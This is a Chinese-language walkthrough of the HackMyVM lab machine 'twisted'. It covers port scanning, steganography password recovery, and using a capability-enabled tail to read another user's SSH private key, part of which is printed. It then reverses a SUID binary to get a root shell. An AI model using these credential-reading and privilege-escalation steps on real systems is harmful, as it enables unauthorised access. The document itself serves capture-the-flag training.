主机发现

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/twisted]
└─# arp-scan -I eth1 -l

192.168.56.128  08:00:27:ab:0a:60       PCS Systemtechnik GmbH
```

主机地址为：`192.168.56.128`

端口扫描

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/twisted]
└─# nmap -p- 192.168.56.128

PORT     STATE SERVICE
80/tcp   open  http
2222/tcp open  EtherNetIP-1
```

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/twisted]
└─# nmap -sT -sC -sV -O -p2222,80 192.168.56.128
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-02 21:04 CST
Nmap scan report for 192.168.56.128
Host is up (0.00065s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
2222/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 67:63:a0:c9:8b:7a:f3:42:ac:49:ab:a6:a7:3f:fc:ee (RSA)
|   256 8c:ce:87:47:f8:b8:1a:1a:78:e5:b7:ce:74:d7:f5:db (ECDSA)
|_  256 92:94:66:0b:92:d3:cf:7e:ff:e8:bf:3c:7b:41:b7:5a (ED25519)
MAC Address: 08:00:27:AB:0A:60 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2
- 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.87 seconds
```

Web渗透

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/twisted]
└─# curl 192.168.56.128

<h1>I love cats!</h1>
<img src="cat-original.jpg" alt="Cat original"  width="400" height="400">
<br>

<h1>But I prefer this one because seems different</h1>

<img src="cat-hidden.jpg" alt="Cat Hidden" width="400" height="400">
```

有两张猫的图片，从名字上不难看出有张是有隐藏信息的

把有隐藏信息的图片拿下来看看

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/twisted]
└─# wget 192.168.56.128/cat-hidden.jpg
Prepended http:// to '192.168.56.128/cat-hidden.jpg'
--2025-12-02 21:09:33--  http://192.168.56.128/cat-hidden.jpg
Connecting to 192.168.56.128:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 288706 (282K) [image/jpeg]
Saving to: ‘cat-hidden.jpg’

cat-hidden.jpg                      100%
[=================================================================>] 281.94K  --.-KB/s    in 0.004s

2025-12-02 21:09:33 (72.5 MB/s) - ‘cat-hidden.jpg’ saved [288706/288706]
```

通过用`stegseek`查看隐藏信息

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/twisted]
└─# stegseek cat-hidden.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "sexymama"
[i] Original filename: "mateo.txt".
[i] Extracting to "cat-hidden.jpg.out".



┌──(root㉿xhh)-[~/Desktop/xhh/HMV/twisted]
└─# cat cat-hidden.jpg.out
thisismypassword
```

拿到用户名:密码`mateo:thisismypassword`

登录mateo

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/twisted]
└─# ssh mateo@192.168.56.128 -p 2222
mateo@192.168.56.128's password:
Linux twisted 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07)
x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Dec  2 03:35:37 2025 from 192.168.56.247
mateo@twisted:~$ id
uid=1000(mateo) gid=1000(mateo)
groups=1000(mateo),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),
109(netdev)
```

成功登录上mateo

mateo ---> bonita

```
mateo@twisted:~$ ls -al
total 36
-rw------- 1 mateo mateo   25 Oct 14  2020 note.txt
mateo@twisted:~$ cat note.txt
/var/www/html/gogogo.wav
```

指向一个音频文件，是摩斯密码

> G O D E E P E R . . . C O M E W I T H M E . . . L I T T L E R A B B I T . . .

没什么用

跑脚本

```
-rwsrws--- 1 root bonita 17K Oct 14  2020 /home/bonita/beroot (Unknown SUID
binary!)

/usr/bin/tail = cap_dac_read_search+ep
```

1.bonita用户的家目录有一个看似可以直接提权到root的SUID文件

2.`tail`命令可以做到任意文件读取

尝试读取id_rsa文件

```
mateo@twisted:~$ /usr/bin/tail /home/bonita/.ssh/id_rsa
mPbrO4h5i9C3h81rh4sAHs9nVAEe3dmZtmZxoZPOJKRhAAAAgFD+g8BhMCovIBrPZlHCu+
bUlbizp9qfXEc8BYZD3frLbVfwuL6dafDVnj7EqpabmrTLFunQG+9/PI6bN+iwloDlugtq
yzvf924Kkhdk+N366FLDtO6p2tkcmRljm9kKMS3lBPMu9C4+fgo9LCyphiXrm7UbJHDVSP
UvPg4Fg/nqAAAAgQD9Q83ZcqDIx5c51fdYsMUCByLby7OiIfXukMoYPWCE2yRqa53PgXjh
V2URHPPhqFEa+iB138cSgCU3RxbRK7Qm1S7/P44fnWCaNu92OiLed5z2fzvbTytE/h9QpJ
LlecEv2HxO3xyRZBsHFkMf+dMDCOueU692Gl7YxRw+LicOPQAAAIEA82v3Ytb97SghV7rz
aOS5t7v8pSSYZAWOOJ3DJqaLtEvxhhomduhF71TOiwOwy8rSH7j2M5PGCtCZUa2/OqQgKF
eERnqQPQSgMOPrATtihXYCTGbWo69NUMcALah0gT5i6nvR1Jr422OInGZEUWHLfvkGTitu
DOPOe+rjV4B7EYkAAAAOYm9uaXRhQHR3aXN0ZWQBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
```

发现成功读取到bonita用户的id_rsa文件

```
mateo@twisted:~$ /usr/bin/tail -100 /home/markus/.ssh/id_rsa
/usr/bin/tail: cannot open '/home/markus/.ssh/id_rsa' for reading: No such file
or directory
```

markus用户就没有id_rsa文件了，但是他的家目录下有个note

```
mateo@twisted:~$ /usr/bin/tail -100 /home/markus/note.txt
Hi bonita,
I have saved your id_rsa here: /var/cache/apt/id_rsa
Nobody can find it.
```

哦~，跑脚本的时候就发现有个这文件，但权限没有

```
mateo@twisted:~$ ls -al /var/cache/apt/id_rsa
-rw------- 1 root root 1823 Oct 14  2020 /var/cache/apt/id_rsa
```

```
mateo@twisted:~$ vi id_rsa
mateo@twisted:~$ chmod 600 id_rsa
mateo@twisted:~$ ssh bonita@127.0.0.1 -i id_rsa -p 2222
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be
established.
ECDSA key fingerprint is SHA256:/jXXbA2Z9aPaXTOrv7OakECrEh6ONFWdJOInAnUve/I.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[127.0.0.1]:2222' (ECDSA) to the list of known
hosts.
Linux twisted 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07)
x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
bonita@twisted:~$ id
uid=1002(bonita) gid=1002(bonita) groups=1002(bonita)
```

成功拿到bonita权限

user.txt

```
bonita@twisted:~$ cat user.txt
HMVblackcat
```

提权

执行一下beroot

```
bonita@twisted:~$ ./beroot
Enter the code:
 1234

WRONG
```

要验证码

查看一下可读字符串

```
bonita@twisted:~$ strings beroot
setuid
puts
printf
system
scanf
setgid
(...)
Enter the code:
/bin/bash
WRONG
```

预测代码

```
int main(){
    if (code == ???){
        setuid(0);
        setgid(0);
        system("/bin/bash");
        return 0;
    }
}
```

ida反编译一下看看

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int n5880; // [rsp+1Ch] [rbp-4h] BYREF

  printf("Enter the code:\n ");
  scanf("%i", &n5880);
  if ( n5880 == 5880 )
```

```
  {
    setuid(0);
    setgid(0);
    system("/bin/bash");
  }
  else
  {
    puts("\nWRONG");
  }
  return 0;
}
```

输入5880就可以拿到root了

```
bonita@twisted:~$ ./beroot
Enter the code:
 5880
root@twisted:~# id
uid=0(root) gid=0(root) groups=0(root),1002(bonita)
```

拿到root权限

root.txt

```
root@twisted:~# cat /root/root.txt
HMVwhereismycat
```

总结

总体线路是：拿到mateo的note ---》发现是无用信息 ---》脚本扫描出来tail可以任意文件读取 ---》 读取markus下的note ---》发现bonita的id_rsa文件在/var/cache/apt/id_rsa这个位置 ---》读取登录bonita

两个问题：

1.tail可以做到任意文件读取，包括直接读取到flag

2.bonita的.ssh/id_rsa未删除，导致可以绕过markus用户这一步